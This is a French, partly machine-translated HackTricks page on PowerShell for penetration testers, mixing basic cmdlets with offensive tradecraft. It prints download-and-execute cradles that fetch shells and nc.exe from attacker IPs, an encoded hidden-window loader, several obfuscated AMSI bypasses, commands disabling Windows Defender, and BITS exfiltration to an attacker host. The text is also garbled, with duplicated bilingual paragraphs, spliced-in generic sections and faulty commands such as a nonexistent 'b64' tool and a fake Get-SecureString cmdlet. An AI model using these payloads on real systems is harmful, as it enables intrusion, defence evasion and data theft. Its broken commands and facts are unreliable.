hacktricks/windows-hardening/basic-powershell-for-pentesters/README.md

78 KiB

PowerShell de base pour les pentesteurs

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Emplacements PowerShell par défaut

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Commandes de base de PowerShell pour commencer

PowerShell est un outil puissant pour les pentesteurs qui souhaitent exploiter les fonctionnalités de Windows. Voici quelques commandes de base pour vous aider à démarrer :

Obtenir des informations système

La commande Get-ComputerInfo permet d'obtenir des informations détaillées sur le système d'exploitation, le matériel et les logiciels installés.

Get-ComputerInfo

Obtenir la liste des utilisateurs

La commande Get-LocalUser permet d'obtenir la liste des utilisateurs locaux sur la machine.

Get-LocalUser

Obtenir la liste des processus en cours d'exécution

La commande Get-Process permet d'obtenir la liste des processus en cours d'exécution sur la machine.

Get-Process

Obtenir la liste des services

La commande Get-Service permet d'obtenir la liste des services en cours d'exécution sur la machine.

Get-Service

Obtenir la liste des connexions réseau

La commande Get-NetTCPConnection permet d'obtenir la liste des connexions TCP actives sur la machine.

Get-NetTCPConnection

Obtenir la liste des fichiers d'un répertoire

La commande Get-ChildItem permet d'obtenir la liste des fichiers et des dossiers d'un répertoire spécifié.

Get-ChildItem C:\chemin\vers\le\répertoire

Obtenir des informations sur un fichier

La commande Get-Item permet d'obtenir des informations détaillées sur un fichier spécifié.

Get-Item C:\chemin\vers\le\fichier

Ces commandes de base vous aideront à commencer à explorer et à analyser un système Windows à l'aide de PowerShell.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Télécharger et exécuter

To download and execute a file using PowerShell, you can use the following command:

Invoke-WebRequest -Uri <URL> -OutFile <OutputFile>; .\<OutputFile>

Replace <URL> with the URL of the file you want to download, and <OutputFile> with the desired name for the downloaded file.

This command uses the Invoke-WebRequest cmdlet to download the file from the specified URL and save it to the local system. The -OutFile parameter specifies the name and location of the output file.

After downloading the file, the command uses the dot sourcing technique (.) to execute the downloaded file.

Keep in mind that downloading and executing files from untrusted sources can be dangerous. Always exercise caution and ensure the files you download are from trusted sources.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Téléchargement et exécution en arrière-plan avec contournement de l'AMSI

L'AMSI (Antimalware Scan Interface) est une interface de programmation qui permet aux applications de sécurité de scanner le contenu des scripts PowerShell. Cependant, en tant que pentester, il peut être nécessaire de contourner l'AMSI pour exécuter des scripts malveillants sans être détecté.

Voici un exemple de script PowerShell qui télécharge et exécute un fichier en arrière-plan tout en contournant l'AMSI :

# Contournement de l'AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Téléchargement du fichier
$url = "URL_DU_FICHIER"
$output = "CHEMIN_DE_DESTINATION"
$client = New-Object System.Net.WebClient
$client.DownloadFile($url, $output)

# Exécution du fichier en arrière-plan
$bytes = [System.IO.File]::ReadAllBytes($output)
[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, @())

Assurez-vous de remplacer "URL_DU_FICHIER" par l'URL du fichier que vous souhaitez télécharger, et "CHEMIN_DE_DESTINATION" par le chemin de destination où vous souhaitez enregistrer le fichier.

Ce script désactive l'AMSI en modifiant une variable interne, puis utilise la classe System.Net.WebClient pour télécharger le fichier spécifié. Ensuite, il lit les octets du fichier téléchargé et les charge en tant qu'assembly, puis invoque le point d'entrée de cet assembly pour l'exécuter en arrière-plan.

Il est important de noter que l'utilisation de techniques de contournement de l'AMSI peut être considérée comme illégale et contraire à l'éthique si elle est utilisée sans autorisation appropriée.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Utilisation de b64 depuis Linux

The b64 command-line tool is a useful utility for encoding and decoding Base64 data. It is commonly used in various scenarios, including penetration testing and data manipulation. In this guide, we will explore how to use b64 from a Linux environment.

Installation

To install b64, you can use the following command:

sudo apt-get install b64

Encoding Data

To encode data using b64, you can use the following syntax:

b64 -e <input_file> -o <output_file>

Replace <input_file> with the path to the file you want to encode, and <output_file> with the desired name for the encoded file. For example:

b64 -e secret.txt -o encoded.txt

This command will encode the contents of secret.txt and save the encoded data to encoded.txt.

Decoding Data

To decode data using b64, you can use the following syntax:

b64 -d <input_file> -o <output_file>

Replace <input_file> with the path to the file you want to decode, and <output_file> with the desired name for the decoded file. For example:

b64 -d encoded.txt -o secret.txt

This command will decode the contents of encoded.txt and save the decoded data to secret.txt.

Conclusion

The b64 tool is a handy utility for encoding and decoding Base64 data in a Linux environment. By following the instructions in this guide, you can easily encode and decode files using b64 for various purposes.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Téléchargement

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

La commande Invoke-WebRequest est utilisée pour envoyer des requêtes HTTP et HTTPS à un serveur web et récupérer les réponses. Cela peut être utile lors de tests de pénétration pour récupérer des informations sensibles ou exploiter des vulnérabilités.

Voici un exemple d'utilisation de la commande Invoke-WebRequest pour récupérer le contenu d'une page web :

$response = Invoke-WebRequest -Uri "https://www.example.com"
$response.Content

Dans cet exemple, la commande Invoke-WebRequest est utilisée pour envoyer une requête GET à l'URL spécifiée (https://www.example.com). La réponse du serveur est stockée dans la variable $response. Ensuite, le contenu de la réponse est affiché en utilisant la propriété Content de l'objet $response.

La commande Invoke-WebRequest peut également être utilisée pour envoyer des requêtes POST, spécifier des en-têtes personnalisés, gérer des cookies, et bien plus encore. Elle offre une grande flexibilité pour interagir avec des serveurs web lors de tests de pénétration.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to download files from the web. It supports downloading files using various protocols such as HTTP, HTTPS, and FTP. Wget is commonly used in penetration testing to retrieve files from target systems.

To use Wget, you need to open a command prompt or terminal and enter the following command:

wget [URL]

Replace [URL] with the URL of the file you want to download. Wget will then retrieve the file and save it to your current directory.

Wget also supports options that allow you to customize the download process. For example, you can use the -O option to specify a different name for the downloaded file, or the -P option to specify a different directory to save the file in.

Here are some examples of how you can use Wget:

  • Download a file from a specific URL:
wget https://example.com/file.txt
  • Download a file and save it with a different name:
wget -O newfile.txt https://example.com/file.txt
  • Download a file and save it to a specific directory:
wget -P /path/to/directory https://example.com/file.txt

Wget is a powerful tool that can be used for various purposes, including downloading files during penetration testing. It is important to use it responsibly and within the boundaries of the law.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer est un outil intégré à PowerShell qui permet de transférer des fichiers en utilisant le protocole Background Intelligent Transfer Service (BITS). BITS est un service de transfert de fichiers en arrière-plan qui utilise la bande passante disponible de manière efficace, en s'adaptant automatiquement aux conditions du réseau.

L'utilisation de BitsTransfer dans le cadre d'un test de pénétration peut être bénéfique pour télécharger des fichiers malveillants ou exfiltrer des données sensibles. Voici quelques exemples d'utilisation de BitsTransfer dans un scénario de test de pénétration :

Téléchargement de fichiers malveillants

BitsTransfer peut être utilisé pour télécharger des fichiers malveillants à partir d'un serveur distant. Cela peut être utile pour tester la réaction des systèmes de sécurité et des logiciels antivirus.

Import-Module BitsTransfer
Start-BitsTransfer -Source http://example.com/malware.exe -Destination C:\Temp\malware.exe

Exfiltration de données sensibles

BitsTransfer peut également être utilisé pour exfiltrer des données sensibles d'un système compromis vers un serveur contrôlé par un attaquant. Cela peut inclure des fichiers contenant des informations confidentielles ou des journaux d'activité.

Import-Module BitsTransfer
Start-BitsTransfer -Source C:\SensitiveData\* -Destination http://attacker-server.com

Il est important de noter que l'utilisation de BitsTransfer peut être détectée par les systèmes de sécurité et les logiciels antivirus. Par conséquent, il est recommandé de prendre des mesures supplémentaires pour masquer ces activités, telles que l'utilisation de techniques d'évasion ou de chiffrement des données.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Lors de l'exécution de commandes PowerShell sur un système Windows, il peut être nécessaire d'encoder la commande pour contourner les restrictions de sécurité. Une méthode couramment utilisée consiste à utiliser l'option -EncodedCommand de PowerShell pour exécuter une commande encodée en Base64.

Pour encoder une commande en Base64, vous pouvez utiliser la commande suivante dans Kali Linux :

echo "Commande à encoder" | base64

Remplacez "Commande à encoder" par la commande que vous souhaitez encoder. Par exemple, si vous souhaitez encoder la commande Get-Process, vous pouvez exécuter la commande suivante :

echo "Get-Process" | base64

Cela vous donnera la sortie encodée en Base64 de la commande. Vous pouvez copier cette sortie et l'utiliser avec l'option -EncodedCommand de PowerShell.

Voici un exemple de la façon dont vous pouvez exécuter une commande encodée en Base64 avec PowerShell :

powershell.exe -EncodedCommand "VGVzdC1Qcm9jZXNz"

Remplacez "VGVzdC1Qcm9jZXNz" par la sortie encodée en Base64 de la commande que vous souhaitez exécuter.

L'utilisation de l'option -EncodedCommand permet d'exécuter des commandes PowerShell encodées en Base64 sans avoir à écrire de script ou à créer un fichier séparé. Cela peut être utile lors de l'exécution de commandes à distance ou lors de l'exploitation de vulnérabilités.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Politique d'exécution

Langage restreint

Politique AppLocker

Activer WinRM (PS à distance)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Désactiver Defender

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

Contournement de l'AMSI

Le fichier amsi.dll est chargé dans votre processus et possède les exports nécessaires pour interagir avec n'importe quelle application. Et comme il est chargé dans l'espace mémoire d'un processus que vous contrôlez, vous pouvez modifier son comportement en écrasant les instructions en mémoire. Cela le rend indétectable.

Par conséquent, l'objectif des contournements de l'AMSI que vous allez réaliser est de modifier les instructions de cette DLL en mémoire pour rendre la détection inutile.

Page web du générateur de contournement de l'AMSI : https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

Contournement AMSI 2 - Accrochage d'appel d'API géré

Consultez cet article pour plus d'informations détaillées et le code.

Cette nouvelle technique repose sur l'accrochage d'appels d'API des méthodes .NET. Il s'avère que les méthodes .NET doivent être compilées en instructions machine natives en mémoire, ce qui les rend très similaires aux méthodes natives. Ces méthodes compilées peuvent être accrochées pour modifier le flux de contrôle d'un programme.

Les étapes pour effectuer l'accrochage d'appels d'API des méthodes .NET sont les suivantes :

  1. Identifier la méthode cible à accrocher
  2. Définir une méthode avec le même prototype de fonction que la cible
  3. Utiliser la réflexion pour trouver les méthodes
  4. S'assurer que chaque méthode a été compilée
  5. Trouver l'emplacement de chaque méthode en mémoire
  6. Remplacer la méthode cible par des instructions pointant vers notre méthode malveillante

Contournement AMSI 3 - Privilège SeDebug

En suivant ce guide et ce code, vous pouvez voir comment, avec suffisamment de privilèges pour déboguer des processus, vous pouvez créer un processus powershell.exe, le déboguer, surveiller quand il charge amsi.dll et le désactiver.

Historique PS

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Obtenir les autorisations

To determine the permissions of a file or directory in PowerShell, you can use the Get-Acl cmdlet. This cmdlet retrieves the access control list (ACL) for the specified item.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the specified file. The output will include information such as the owner, group, and access rules.

To retrieve the permissions for a directory and all its subdirectories, you can use the -Recurse parameter.

Get-Acl -Path C:\path\to\directory -Recurse

This command will display the permissions for the specified directory and all its subdirectories.

By default, the output of Get-Acl is not very readable. To format the output in a more user-friendly way, you can use the Format-List cmdlet.

Get-Acl -Path C:\path\to\file.txt | Format-List

This command will display the permissions in a list format, making it easier to read and understand.

In addition to Get-Acl, PowerShell also provides other cmdlets for managing permissions, such as Set-Acl for modifying permissions and Test-Path for checking if a file or directory exists.

By understanding how to retrieve and manage permissions in PowerShell, you can effectively assess the security of a Windows system during a penetration test.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Version du système d'exploitation et correctifs

To determine the version of the operating system and the installed hotfixes, you can use the following PowerShell commands:

# Get the operating system version
(Get-WmiObject -Class Win32_OperatingSystem).Caption

# Get the installed hotfixes
Get-HotFix

These commands will provide you with the necessary information to assess the current state of the operating system and identify any installed hotfixes.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Environnement


Introduction

This guide provides an overview of basic PowerShell commands and techniques that can be useful for pentesters working on Windows systems. PowerShell is a powerful scripting language and command-line shell that is built on the .NET framework. It provides a wide range of functionalities for managing and automating Windows systems.


PowerShell Basics

Opening PowerShell

To open PowerShell, press Win + X and select "Windows PowerShell" from the menu. Alternatively, you can search for "PowerShell" in the Start menu and open it from there.

Running PowerShell Commands

PowerShell commands, also known as cmdlets, follow a verb-noun syntax. To run a command, simply type it in the PowerShell window and press Enter. For example, to list all the files in a directory, you can use the Get-ChildItem cmdlet:

Get-ChildItem

Getting Help

To get help on a specific cmdlet, you can use the Get-Help cmdlet followed by the name of the cmdlet. For example, to get help on the Get-ChildItem cmdlet, you can use:

Get-Help Get-ChildItem

Running Scripts

PowerShell scripts are saved with a .ps1 extension. To run a script, you can use the .\ prefix followed by the script name. For example, if you have a script called script.ps1, you can run it using:

.\script.ps1

PowerShell for Pentesters

System Information

To gather information about the system, you can use the following cmdlets:

  • Get-ComputerInfo: Retrieves detailed information about the computer.
  • Get-WmiObject: Retrieves information about Windows Management Instrumentation (WMI) objects.
  • Get-Process: Retrieves information about running processes.

Network Information

To gather information about the network, you can use the following cmdlets:

  • Get-NetAdapter: Retrieves information about network adapters.
  • Get-NetIPAddress: Retrieves information about IP addresses.
  • Test-NetConnection: Tests network connectivity to a specific destination.

User and Group Management

To manage users and groups, you can use the following cmdlets:

  • Get-LocalUser: Retrieves information about local users.
  • Get-LocalGroup: Retrieves information about local groups.
  • New-LocalUser: Creates a new local user.
  • Add-LocalGroupMember: Adds a user to a local group.

File and Directory Operations

To perform file and directory operations, you can use the following cmdlets:

  • Get-ChildItem: Retrieves files and directories in a specified location.
  • Copy-Item: Copies files and directories.
  • Move-Item: Moves files and directories.
  • Remove-Item: Deletes files and directories.

Registry Operations

To perform registry operations, you can use the following cmdlets:

  • Get-Item: Retrieves registry keys and values.
  • Set-Item: Sets registry keys and values.
  • New-Item: Creates a new registry key.
  • Remove-Item: Deletes a registry key.

Conclusion

PowerShell is a versatile tool for managing and automating Windows systems. By familiarizing yourself with the basic commands and techniques covered in this guide, you can enhance your pentesting capabilities on Windows platforms.

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Autres lecteurs connectés

When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One area that can provide valuable insights is the list of connected drives.

Lors de la réalisation d'un test de pénétration sur un système Windows, il est important de collecter autant d'informations que possible sur la cible. Une zone qui peut fournir des informations précieuses est la liste des lecteurs connectés.

In PowerShell, you can use the Get-PSDrive cmdlet to retrieve a list of all connected drives on the system. This includes not only local drives, but also network drives and other types of connected storage.

En PowerShell, vous pouvez utiliser la commande Get-PSDrive pour récupérer une liste de tous les lecteurs connectés sur le système. Cela inclut non seulement les lecteurs locaux, mais aussi les lecteurs réseau et d'autres types de stockage connectés.

To view the list of connected drives, open a PowerShell session and run the following command:

Pour afficher la liste des lecteurs connectés, ouvrez une session PowerShell et exécutez la commande suivante :

Get-PSDrive

This will display a table with information about each connected drive, including the drive letter, drive type, and root path.

Cela affichera un tableau avec des informations sur chaque lecteur connecté, y compris la lettre du lecteur, le type de lecteur et le chemin racine.

By examining the list of connected drives, you can gain insights into the system's storage configuration and potentially identify additional attack vectors.

En examinant la liste des lecteurs connectés, vous pouvez obtenir des informations sur la configuration de stockage du système et éventuellement identifier des vecteurs d'attaque supplémentaires.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Corbeille

The Recycle Bin is a feature in Windows that allows you to temporarily store deleted files and folders. Instead of permanently deleting them, they are moved to the Recycle Bin where they can be restored if needed. This provides a safety net in case you accidentally delete something important.

La Corbeille est une fonctionnalité de Windows qui vous permet de stocker temporairement les fichiers et dossiers supprimés. Au lieu de les supprimer définitivement, ils sont déplacés dans la Corbeille où ils peuvent être restaurés si nécessaire. Cela offre une sécurité en cas de suppression accidentelle d'un élément important.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/gestion-de-la-corbeille-avec-powershell/

Reconnaissance de domaine

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Utilisateurs

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Chaîne sécurisée en texte brut

Lors de l'exécution de tests de pénétration sur des systèmes Windows, il peut être nécessaire de convertir une chaîne sécurisée en texte brut pour effectuer certaines opérations. PowerShell offre une fonctionnalité pour effectuer cette conversion.

La méthode ConvertFrom-SecureString de PowerShell permet de convertir une chaîne sécurisée en texte brut. Voici comment l'utiliser :

$secureString = Get-SecureString -AsPlainText "MotDePasse" -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

Dans cet exemple, nous utilisons la commande Get-SecureString pour obtenir une chaîne sécurisée à partir du texte brut "MotDePasse". Ensuite, nous utilisons la méthode SecureStringToBSTR de la classe Marshal pour convertir la chaîne sécurisée en un pointeur vers une chaîne BSTR. Enfin, nous utilisons la méthode PtrToStringAuto de la classe Marshal pour convertir le pointeur en texte brut.

Il est important de noter que cette conversion expose la chaîne en texte brut, ce qui peut présenter un risque de sécurité. Assurez-vous d'utiliser cette fonctionnalité avec précaution et de supprimer toutes les traces du texte brut une fois que vous avez terminé vos opérations.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Ou en analysant directement le formulaire XML :

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

Le mot "sudo" est une commande couramment utilisée dans les systèmes d'exploitation basés sur Unix pour permettre à un utilisateur d'exécuter des commandes avec les privilèges d'un autre utilisateur, généralement l'utilisateur root. Cela permet aux administrateurs système de déléguer certaines tâches à des utilisateurs non privilégiés sans leur donner un accès complet au compte root.

Dans le contexte du piratage éthique, la commande sudo peut être utilisée pour escalader les privilèges et obtenir un accès plus élevé à un système. Les attaquants peuvent rechercher des vulnérabilités dans la configuration sudo pour exécuter des commandes avec des privilèges élevés et ainsi compromettre le système.

Il est important de noter que l'utilisation de la commande sudo doit être effectuée de manière responsable et légale, dans le cadre d'un test de pénétration autorisé. L'utilisation non autorisée de la commande sudo est illégale et peut entraîner des conséquences juridiques graves.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Groupes

Introduction

Dans Windows, les groupes sont utilisés pour organiser et gérer les utilisateurs et les ressources. Les groupes permettent de simplifier l'administration des autorisations et des privilèges en attribuant des droits à un groupe plutôt qu'à chaque utilisateur individuellement. Cela facilite également la gestion des utilisateurs lorsqu'il est nécessaire de leur accorder ou de leur retirer des autorisations.

Types de groupes

Il existe différents types de groupes dans Windows :

  • Groupes locaux : Ces groupes sont spécifiques à un ordinateur et sont utilisés pour gérer les utilisateurs et les ressources locales sur cet ordinateur.
  • Groupes globaux : Ces groupes sont utilisés pour gérer les utilisateurs et les ressources sur un domaine Windows. Ils peuvent être utilisés pour attribuer des autorisations à des ressources partagées sur plusieurs ordinateurs.
  • Groupes universels : Ces groupes sont utilisés pour gérer les utilisateurs et les ressources sur plusieurs domaines Windows. Ils sont principalement utilisés dans les environnements de grande taille avec plusieurs domaines.

Utilisation de PowerShell pour gérer les groupes

PowerShell est un outil puissant pour gérer les groupes dans Windows. Voici quelques commandes utiles pour travailler avec les groupes :

  • Get-LocalGroup : Cette commande permet d'obtenir la liste des groupes locaux sur un ordinateur.
  • Get-ADGroup : Cette commande permet d'obtenir la liste des groupes globaux ou universels dans un domaine Windows.
